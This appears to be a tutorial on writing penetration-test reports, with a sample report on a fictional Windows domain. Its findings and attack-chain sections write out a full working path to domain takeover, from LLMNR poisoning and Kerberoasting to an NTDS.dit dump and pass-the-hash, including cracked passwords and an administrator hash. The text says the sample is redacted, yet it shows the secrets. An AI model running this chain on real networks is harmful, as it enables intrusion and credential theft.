Reporting
Technical Reports
Technical reports provide the detail security and IT teams need to understand, reproduce, and remediate findings. Include exact steps, tools, and evidence.
Technical Report Structure
A technical report is read in a different order from the way it is written. The reader opens it because a finding blocks a change, and works backwards: the reproduction steps first, then the affected systems, then the remediation. Everything else — methodology, appendices, raw tool output — exists to make those three sections checkable by someone who was not in the room. The table is the whole outline; the samples below are what each section looks like filled in.
| Section | Must contain | Evidence minimum | Read by |
|---|---|---|---|
| Methodology | Framework used, phases executed with dates, tools and versions, testing limitations, attack simulation premise | Scope document and rules of engagement reference | Security leadership, auditors |
| Detailed findings | Per finding: classification and CVSS vector, affected systems, technical description, numbered reproduction steps, impact, remediation and validation | Screenshot of the outcome, the command that produced it, and a timestamp | Security engineers, IT admins |
| Attack chains | A narrative per chain: the timestamped path from entry to objective, which findings it chained, where it stopped and why | One artefact per hop, so the chain can be reconstructed out of order | Security architects, SOC |
| Remediation | The specific setting or change per finding, not a category of control; a validation step that proves the fix took | Configuration export before and after, or the command whose output changes | IT and DevOps teams |
| Appendices | Raw tool output, host and account lists, captured credentials (encrypted), scan exports, per-finding system counts | The artefact itself; the body only ever cites it by filename and count | Anyone verifying a claim |
Methodology Section
The methodology section is what makes the rest of the report admissible as an assessment rather than a list of opinions. State the framework, the dates each phase actually ran, and the limitations — a limitation recorded in advance explains an empty result, and the same empty result without one reads as a missed test. The tools table belongs here rather than in the appendices because it tells the reader what was not tried: a technique that is missing from the tool list and missing from the findings is a gap, not a clean result.
01-methodology.txt
================================================================================
METHODOLOGY & APPROACH
================================================================================
TESTING FRAMEWORK
-----------------
This assessment followed the Penetration Testing Execution Standard (PTES)
and mapped findings to MITRE ATT&CK framework tactics and techniques.
PHASES EXECUTED
---------------
1. Reconnaissance & Discovery (Day 1)
- Network scanning and host enumeration
- Service identification
- Active Directory enumeration
2. Vulnerability Identification (Day 1-2)
- Configuration analysis
- Credential weakness testing
- Known vulnerability scanning
3. Exploitation (Day 2-3)
- Credential attacks
- Privilege escalation
- Lateral movement
4. Post-Exploitation (Day 3-4)
- Domain compromise
- Data access demonstration
- Persistence mechanisms (not deployed)
TOOLS UTILIZED
--------------
┌───────────────────────┬──────────────────────────────────────────────────────┐
│ Category │ Tools │
├───────────────────────┼──────────────────────────────────────────────────────┤
│ Discovery │ Nmap, Masscan, NetDiscover │
│ AD Enumeration │ BloodHound, PowerView, ldapsearch │
│ Credential Attacks │ Responder, Impacket, nxc, Hashcat │
│ Exploitation │ Metasploit, Cobalt Strike, Custom scripts │
│ Post-Exploitation │ Mimikatz, Rubeus, SharpHound │
│ Documentation │ Flameshot, Obsidian, tmux logging │
└───────────────────────┴──────────────────────────────────────────────────────┘
TESTING LIMITATIONS
-------------------
• Production systems tested with caution - no denial of service attempts
• Social engineering out of scope
• Physical access testing not included
• Wireless assessment not in scope
• Testing window: Business hours only (8AM-6PM EST)
ATTACK SIMULATION
-----------------
The assessment simulated an "assumed breach" scenario where an attacker has
gained initial access to a standard workstation through phishing or similar
means. Testing was conducted from IP 10.0.5.100 (provided test workstation).Detailed Finding Format
Every finding uses the same field order, because a report is compared across findings and quarters. The two fields that are most often written badly are the CVSS vector — which must be reproducible from the metrics, not asserted — and the reproduction steps, which have to be exact enough that the client's own engineer reaches the same result without you. Note that the sample redacts the captured hash and the cracked password: the evidence reference proves the capture, the secret itself belongs in an encrypted appendix.
findings/FINDING-001.md
================================================================================
FINDING 001: LLMNR/NBT-NS Poisoning - Network Credential Capture
================================================================================
CLASSIFICATION
--------------
Severity: High
CVSS 3.1 Base: 7.4
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
CWE: CWE-300 (Channel Accessible by Non-Endpoint)
MITRE ATT&CK: T1557.001 (LLMNR/NBT-NS Poisoning)
AFFECTED SYSTEMS
----------------
• All Windows workstations (approximately 450 systems)
• Windows servers responding to multicast (12 systems)
• Affected subnets: 10.0.1.0/24, 10.0.2.0/24, 10.0.3.0/24
TECHNICAL DESCRIPTION
---------------------
Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS)
are enabled across the corporate network. These fallback name resolution
protocols broadcast queries to all hosts on the local subnet when DNS fails.
An attacker on the network can respond to these broadcasts claiming to be the
requested host, causing victims to send their NTLMv2 authentication hashes to
the attacker.
REPRODUCTION STEPS
------------------
1. Set up Responder to capture credentials:
$ sudo responder -I eth0 -wrf
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
[+] Servers started, waiting for connections...
2. Wait for clients to make failed DNS lookups (or trigger by
accessing non-existent share \nonexistentshare):
[SMB] NTLMv2-SSP Client : 10.0.1.45
[SMB] NTLMv2-SSP Username : CORPjsmith
[SMB] NTLMv2-SSP Hash : jsmith::CORP:1122334455667788:ABC...
3. Captured hashes stored in /usr/share/responder/logs/
EVIDENCE
--------
During 4 hours of passive listening, the following credentials were captured:
┌─────────────────┬──────────────────┬──────────────┬─────────────┐
│ Username │ Source IP │ Hash Type │ Cracked │
├─────────────────┼──────────────────┼──────────────┼─────────────┤
│ jsmith │ 10.0.1.45 │ NTLMv2 │ Yes │
│ admin.helpdesk │ 10.0.1.78 │ NTLMv2 │ Yes │
│ svc_print │ 10.0.2.50 │ NTLMv2 │ Yes │
│ dthomas │ 10.0.1.92 │ NTLMv2 │ No │
│ WORKSTATION$ │ 10.0.3.15 │ NTLMv2 │ N/A │
│ sqlservice │ 10.0.2.200 │ NTLMv2 │ Yes │
└─────────────────┴──────────────────┴──────────────┴─────────────┘
Cracking performed with Hashcat:
$ hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt
Results:
- jsmith:Welcome2024!
- admin.helpdesk:Helpdesk123
- svc_print:Print@2023
- sqlservice:SQLserver1!
See Appendix A for full Responder logs.
See Appendix B for Hashcat cracking output.
IMPACT ANALYSIS
---------------
The compromised credentials provide:
• jsmith: Standard domain user - initial foothold for further attacks
• admin.helpdesk: Member of IT Support group with elevated privileges
• svc_print: Service account with local admin on print servers
• sqlservice: Database access to SQL01, SQL02 (see Finding 003)
This finding enabled the following attack chain:
LLMNR Capture → Credential Crack → SQL Server Access → Data Exfiltration
REMEDIATION
-----------
IMMEDIATE ACTIONS:
1. Reset passwords for all captured accounts:
- jsmith, admin.helpdesk, svc_print, sqlservice
- Notify users of password reset requirement
2. Disable LLMNR via Group Policy:
Path: Computer Configuration > Administrative Templates >
Network > DNS Client
Setting: "Turn off multicast name resolution" = Enabled
3. Disable NBT-NS via Group Policy (registry):
Path: HKLMSYSTEMCurrentControlSetServicesNetBTParametersInterfaces
For each interface: Set "NetbiosOptions" = 2 (Disabled)
Or via DHCP Option 001/002 to disable NetBIOS.
VERIFICATION STEPS:
After remediation, verify with:
$ nmap -sU -p 5355 10.0.1.0/24 # LLMNR port check
$ nmap -sU -p 137 10.0.1.0/24 # NBT-NS port check
Both should show filtered/closed.
DETECTION RECOMMENDATIONS
-------------------------
1. Monitor for Responder-like behavior:
- Multiple LLMNR/NBT-NS responses from single host
- SMB authentication to non-file-server systems
2. Create SIEM alerts for:
- Event ID 4648 (explicit credential use) to unusual destinations
- Network traffic analysis for LLMNR (UDP 5355) responses
3. Deploy honeypot DNS entries that alert on resolution attempts
REFERENCES
----------
• https://attack.mitre.org/techniques/T1557/001/
• https://www.sans.org/blog/smb-relay-demystified-and-ntlmv2-pwnage-with-python/
• https://github.com/lgandx/Responder
================================================================================Attack Chain Documentation
An attack chain is the only place a report shows impact rather than describing it. Write it as a timeline with a timestamp on every hop, so the client can line it up against their own logs and see where a control fired and where it did not. The end state matters as much as the path: "domain admin at 13:12, testing stopped" is a finding, while a chain that trails off has to explain whether it was blocked or merely out of time.
02-attack-chain.txt
================================================================================
ATTACK CHAIN: Initial Access to Domain Admin
================================================================================
OVERVIEW
--------
This section documents the complete attack path from initial network access
to Domain Administrator compromise. Total time: 4 hours 12 minutes.
ATTACK TIMELINE
---------------
┌───────────┬──────────────────────────────────────────────────────────────────┐
│ Timestamp │ Action │
├───────────┼──────────────────────────────────────────────────────────────────┤
│ 09:00 │ Started from test workstation (10.0.5.100) │
│ 09:15 │ Completed network discovery (508 live hosts identified) │
│ 09:30 │ AD enumeration with BloodHound - mapped attack paths │
│ 09:45 │ Started Responder for LLMNR/NBT-NS poisoning │
│ 10:30 │ Captured credentials for jsmith, admin.helpdesk │
│ 10:45 │ Cracked jsmith password (Welcome2024!) │
│ 11:00 │ Authenticated as jsmith, ran SharpHound │
│ 11:15 │ Identified Kerberoastable accounts (svc_sql, svc_backup) │
│ 11:30 │ Performed Kerberoasting, obtained TGS tickets │
│ 11:45 │ Cracked svc_backup password (Backup2024!) │
│ 12:00 │ Confirmed svc_backup is member of Backup Operators │
│ 12:30 │ Used backup privileges to extract NTDS.dit via wbadmin │
│ 12:45 │ Extracted all domain hashes with secretsdump.py │
│ 13:00 │ Pass-the-hash as Domain Admin (Administrator:500) │
│ 13:12 │ Full domain compromise confirmed - testing stopped │
└───────────┴──────────────────────────────────────────────────────────────────┘
DETAILED ATTACK NARRATIVE
-------------------------
PHASE 1: Initial Reconnaissance (09:00 - 09:45)
-----------------------------------------------
Starting from the provided test workstation, performed initial network
discovery to identify live hosts and services:
# Network sweep
$ nmap -sn 10.0.0.0/16 -oA discovery
Nmap scan report for 508 hosts up
# Service enumeration on discovered hosts
$ nmap -sV -sC -p- --top-ports 1000 -iL live_hosts.txt -oA services
Identified:
- 2 Domain Controllers (DC01, DC02)
- 15 Windows Servers
- 450+ Windows Workstations
- 12 Linux systems (SSH, web servers)
- 8 Network devices
BloodHound data collection:
# Ran from test workstation as authenticated user
$ ./SharpHound.exe -c All -d corp.local
Imported data into BloodHound, identified shortest path to Domain Admin
through Backup Operators group membership.
PHASE 2: Credential Capture (09:45 - 11:00)
-------------------------------------------
Deployed Responder to capture NTLM hashes from LLMNR/NBT-NS traffic:
$ sudo responder -I eth0 -wrf
Within 45 minutes, captured 47 unique NTLMv2 hashes.
Cracked 12 passwords using Hashcat with rockyou.txt wordlist:
$ hashcat -m 5600 hashes.txt rockyou.txt -r best64.rule
Notable captures:
- jsmith: Welcome2024!
- admin.helpdesk: Helpdesk123
PHASE 3: AD Enumeration & Kerberoasting (11:00 - 12:00)
-------------------------------------------------------
Authenticated as jsmith (standard domain user) to perform deeper
AD enumeration:
# Enumerated SPNs for Kerberoasting
$ GetUserSPNs.py corp.local/jsmith:Welcome2024! -dc-ip 10.0.0.10 -request
Accounts with SPNs:
- svc_sql (MSSQLSvc/sql01.corp.local:1433)
- svc_backup (CIFS/backup.corp.local)
- svc_print (HTTP/print.corp.local)
Cracked service account passwords:
$ hashcat -m 13100 spn_hashes.txt rockyou.txt
svc_backup:Backup2024! (cracked in 3 seconds)
svc_sql:SQLadmin123! (cracked in 12 seconds)
PHASE 4: Privilege Escalation (12:00 - 12:45)
---------------------------------------------
svc_backup is member of Backup Operators, which grants:
- SeBackupPrivilege (read any file)
- SeRestorePrivilege (write any file)
Used these privileges to extract NTDS.dit:
# Create shadow copy and extract NTDS.dit
$ wbadmin start backup -backuptarget:\\10.0.5.100\share -include:c: -quiet
$ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
# Extract SYSTEM hive
$ reg save HKLM\SYSTEM C:\temp\SYSTEM
# Extract hashes
$ secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Obtained NTLM hashes for all 2,847 domain accounts including:
- Administrator:500:aad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
PHASE 5: Domain Compromise (12:45 - 13:12)
------------------------------------------
Used Administrator hash for pass-the-hash authentication:
$ psexec.py -hashes :64f12cddaa88057e06a81b54e73b949b Administrator@DC01.corp.local
Successfully obtained SYSTEM shell on DC01.
Full domain compromise confirmed.
Testing terminated at this point - no further actions taken.
KILL CHAIN MAPPING
------------------
┌─────────────────────┬────────────────────────────────────────────────────────┐
│ Kill Chain Phase │ Actions │
├─────────────────────┼────────────────────────────────────────────────────────┤
│ Reconnaissance │ Nmap scanning, BloodHound enumeration │
│ Weaponization │ N/A (used existing tools) │
│ Delivery │ N/A (assumed breach scenario) │
│ Exploitation │ LLMNR poisoning, Kerberoasting │
│ Installation │ N/A (no persistence deployed) │
│ Command & Control │ N/A (internal testing) │
│ Actions on Obj. │ Credential theft, domain compromise │
└─────────────────────┴────────────────────────────────────────────────────────┘
================================================================================Remediation Section
Remediation is a change plus a way to prove the change landed. "Enable SMB signing" is not remediation; "link
this GPO to the domain root, then confirm RequireSecuritySignature is true on every host, and
re-run the relay test" is. Give the client the validation command in the report — the same command you would run
at a retest — so the finding can be closed without booking another engagement.
03-remediation.txt
================================================================================
REMEDIATION GUIDANCE & VALIDATION
================================================================================
FINDING 001: LLMNR/NBT-NS Poisoning
-----------------------------------
REMEDIATION STEPS:
Step 1: Create GPO to disable LLMNR
a. Open Group Policy Management Console
b. Create new GPO: "Security - Disable LLMNR NBT-NS"
c. Edit GPO, navigate to:
Computer Configuration > Administrative Templates >
Network > DNS Client
d. Set "Turn off multicast name resolution" to Enabled
e. Link GPO to domain root or relevant OUs
Step 2: Disable NBT-NS via registry (same GPO)
a. Navigate to:
Computer Configuration > Preferences > Windows Settings > Registry
b. Create registry item:
Hive: HKEY_LOCAL_MACHINE
Path: SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces
Value: NetbiosOptions
Type: REG_DWORD
Data: 2
c. Apply to all interface subkeys using wildcards
Step 3: Verify deployment
Run on sample workstations:
# PowerShell verification
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters" |
Select-Object NodeType
# Should return NodeType: 2 (P-node, no broadcast)
# LLMNR verification
Get-DnsClient | Select-Object EnableMulticast
# Should return False
VALIDATION COMMANDS:
# From attacker perspective - should see no responses
$ responder -I eth0 -A # Analyze mode only
# Wait 30 minutes - should capture zero hashes
# Network scan for LLMNR/NBT-NS
$ nmap -sU -p 137,5355 10.0.1.0/24 --open
# Should return no open ports
FINDING 002: Kerberoasting - Weak Service Passwords
---------------------------------------------------
REMEDIATION STEPS:
Step 1: Reset affected service account passwords
Use 25+ character randomly generated passwords:
# PowerShell - Generate secure password
Add-Type -AssemblyName System.Web
[System.Web.Security.Membership]::GeneratePassword(25,5)
# Reset password
Set-ADAccountPassword -Identity svc_backup -Reset -NewPassword (ConvertTo-SecureString "GeneratedPassword" -AsPlainText -Force)
Step 2: Convert to Group Managed Service Accounts (gMSA)
a. Create KDS Root Key (if not exists):
Add-KdsRootKey -EffectiveImmediately
b. Create gMSA:
New-ADServiceAccount -Name "gMSA_SQL" -DNSHostName "gMSA_SQL.corp.local" -PrincipalsAllowedToRetrieveManagedPassword "SQL_Servers$"
c. Install on target server:
Install-ADServiceAccount -Identity "gMSA_SQL"
d. Update service to use gMSA:
Service account: CORP\gMSA_SQL$
Password: (leave blank)
Step 3: Enable AES encryption only (disable RC4)
GPO Path: Computer Configuration > Windows Settings >
Security Settings > Local Policies > Security Options
Setting: "Network security: Configure encryption types allowed for Kerberos"
Enable: AES128_HMAC_SHA1, AES256_HMAC_SHA1
Disable: DES_CBC_CRC, DES_CBC_MD5, RC4_HMAC_MD5
VALIDATION:
# Verify SPN accounts have strong passwords
$ GetUserSPNs.py corp.local/testuser -dc-ip 10.0.0.10 -request -outputfile test_hashes.txt
$ hashcat -m 13100 test_hashes.txt /usr/share/wordlists/rockyou.txt
# Should NOT crack within reasonable time
# Verify AES encryption
$ Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties msDS-SupportedEncryptionTypes
FINDING 003: SMB Signing Not Required
-------------------------------------
REMEDIATION STEPS:
Step 1: Enable SMB signing on servers (immediate)
GPO Path: Computer Configuration > Policies > Windows Settings >
Security Settings > Local Policies > Security Options
Enable both settings:
- Microsoft network server: Digitally sign communications (always) = Enabled
- Microsoft network server: Digitally sign communications (if client agrees) = Enabled
Step 2: Enable SMB signing on clients (phased rollout)
Same GPO path, enable:
- Microsoft network client: Digitally sign communications (always) = Enabled
- Microsoft network client: Digitally sign communications (if server agrees) = Enabled
Note: Test in staging environment first - may impact legacy systems
Step 3: Verify NAS/storage devices support signing
Some older NAS devices may not support SMB signing.
Test connectivity before full deployment.
VALIDATION:
# Check SMB signing status
$ nxc smb 10.0.0.0/24 --gen-relay-list unsigned_hosts.txt
# List should be empty after remediation
# PowerShell on individual hosts
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature
# Should return True
================================================================================Appendix Structure
Appendices carry the evidence the body cites and nothing else. Two rules keep them usable: name every file the body refers to, and record the per-finding system counts here rather than in the finding text, because a count changes as the client patches and the finding statement should not. Credentials and full tool output go in an encrypted archive with the key delivered through a separate channel — a plain-text appendix is a second incident, not evidence.
04-appendices.txt
================================================================================
APPENDICES
================================================================================
APPENDIX A: Network Discovery Results
-------------------------------------
Host enumeration results from initial Nmap scan.
File: appendix_a_nmap_discovery.txt
Sample:
Nmap scan report for 10.0.0.10
Host is up (0.00054s latency).
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
[Full results in attached file - 508 hosts]
APPENDIX B: Credential Captures
-------------------------------
Full Responder capture log (sanitized).
File: appendix_b_responder_logs.txt
Note: Password hashes and cleartext passwords are provided in
encrypted attachment. Decryption key provided separately to
security team lead.
APPENDIX C: BloodHound Analysis
-------------------------------
Attack path analysis from BloodHound.
Files:
- appendix_c_bloodhound_export.json
- appendix_c_attack_paths.png
Shortest Path to Domain Admin:
jsmith@CORP.LOCAL -> MemberOf -> IT Users -> CanRDP -> SERVER01
-> HasSession -> admin.helpdesk@CORP.LOCAL -> MemberOf ->
IT Admins -> AdminTo -> Multiple Servers
APPENDIX D: Vulnerability Scan Results
--------------------------------------
Nessus scan results for identified vulnerabilities.
File: appendix_d_nessus_report.pdf
APPENDIX E: Tool Outputs
------------------------
Raw output from assessment tools.
Files:
- appendix_e_nxc.txt
- appendix_e_kerbrute.txt
- appendix_e_secretsdump.txt (encrypted)
APPENDIX F: Affected Systems List
---------------------------------
Complete list of systems affected by each finding.
File: appendix_f_affected_systems.xlsx
Summary:
┌─────────────────────────────┬─────────────────┐
│ Finding │ Systems Count │
├─────────────────────────────┼─────────────────┤
│ LLMNR/NBT-NS Enabled │ 462 │
│ SMB Signing Disabled │ 447 │
│ Missing Critical Patches │ 23 │
│ Weak Service Passwords │ 3 │
│ Excessive Privileges │ 45 accounts │
└─────────────────────────────┴─────────────────┘
================================================================================Warning
Always encrypt sensitive data like password hashes and credentials in appendices.
Provide decryption keys through a separate secure channel.